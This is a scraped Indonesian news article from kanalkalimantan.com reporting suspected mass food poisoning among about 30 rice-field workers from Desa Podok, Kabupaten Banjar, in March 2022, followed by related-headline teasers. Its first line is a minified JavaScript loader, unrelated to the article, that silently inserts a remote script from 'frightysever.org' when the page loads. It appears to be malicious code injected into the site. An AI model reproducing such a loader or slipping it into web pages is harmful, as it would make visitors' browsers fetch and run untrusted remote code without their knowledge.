(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Belasan warga asal Desa Podok dilarikan ke Puskesmas Kecamatan Aluh-aluh, Kabupaten Banjar, Provinsi Kalimantan Selatan, Rabu (30/3/2022) sekitar pukul 16.00 Wita.
Sedikitnya 30 orang warga yang merupakan pekerja diduga mengalami keracunan makanan, usai kembali bekerja dari sawah di wilayah Sungai Uru, Kecamatan Tabunganen, Kabupaten Batola.
Plt Camat Aluh-aluh, Aditya Yudi Dharma saat dikonfirmasi kanalkalimantan.com, membenarkan 15 warganya sudah dilarikan ke puskesmas setempat dibantu oleh kerabatnya bersama pembakal dengan perahu motor.
“Memang benar, sudah 15 orang yang sudah ditangani oleh pihak puskesmas. Untuk sisanya sampai malam ini masih belum ada informasi, mengingat akses jalan menuju puskesmas sendiri melalui sungai,” ujar Aditya kepada kanalkalimantan.com, Rabu (30/3/2022).
Baca juga : Siap-siap, Indonesia Akan Masuk Pra-endemi Tahun Ini!
Dilanjutkannya bahwa, warga yang dilarikan ke Puskesmas tersebut terindikasi keracunan karena pada umumnya mereka mengalami gejala pusing, mual, hingga muntah. Pihak Puskesmas pun telah melakukan tindakan berupa pemberian obat, infus, dan cairan untuk mencegah serta mengobati mual dan muntah.
Aditya menjelaskan, kronologi kejadian berawal dari warga yang baru saja melakukan kegiatan menanam padi kemudian si pemilik lahan persawahan menyediakan makanan dan minuman.
“Nah pemilik persawahan tersebut menyediakan makanan berupa telur masak habang (bumbu merah, red) dengan minumannya es saset,” ujarnya.
Namun, masih belum diketahui apakah dari makanan atau minuman yang menjadi penyebab keracunan masal tersebut. Pihak Bhabinkamtibmas desa tersebut pun telah memberikan arahan puskesmas untuk melakukan uji sampel di lab pada makanan dan minuman tersebut.
“Masih belum diketahui penyebab pastinya, namun sudah ada arahan dari Bhabinkamtibmas untuk melakukan uji sampel, karena infonya ada beberapa warga yang mendapatkan sampel makanan dan minuman tersebut,” pungkas Plt Camat Alun-aluh.(kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More
This website uses cookies.